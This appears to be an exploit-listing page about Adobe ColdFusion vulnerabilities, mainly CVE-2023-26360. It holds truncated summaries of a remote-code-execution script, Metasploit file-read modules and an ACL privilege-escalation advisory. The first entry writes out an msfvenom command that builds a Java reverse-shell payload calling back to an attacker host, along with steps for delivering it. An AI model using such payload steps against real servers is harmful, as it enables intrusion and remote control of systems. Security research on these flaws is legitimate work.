CVE-2023-26360-RCE

CVE-2023-26360 - ColdFusion 2021 におけるリモートコード実行 スクリプトは最初の試行で動作しないことがあります。数回試して動作させてください。 実行方法 msfvenom でペイロードを作成 root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java server.py の起動 このサーバーは、cve.2023-26360.py による初期アクセス後に ColdFusion サーバーにペイロードを送信するため、最初に起動しておく必要があります...

Exploit for Improper Access Control in Adobe Coldfusion

PoC exploit for CVE-2023-26360, a Remote Code Execution vulnerab...

Adobe ColdFusion Unauthenticated Arbitrary File Read

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Adobe ColdFusion Unauthenticated Arbitrary File Read', 'Description' = %q This module exploits a remote unauthenticated deserialization of...

Adobe ColdFusion Unauthenticated Arbitrary File Read

This module exploits a remote unauthenticated deserialization of untrusted data vulnerability in Adobe ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier, in order to read an arbitrary file from the server. To run this module you must provide a valid ColdFusion...

Adobe ColdFusion is vulnerable to privilege escalation due to weak ACLs

Overview Adobe ColdFusion fails to properly set ACLs, which can allow an unprivileged Windows user to be able to run arbitrary code with SYSTEM privileges. Description The Adobe ColdFusion installer fails to set a secure access-control list ACL on the default installation directory, such as...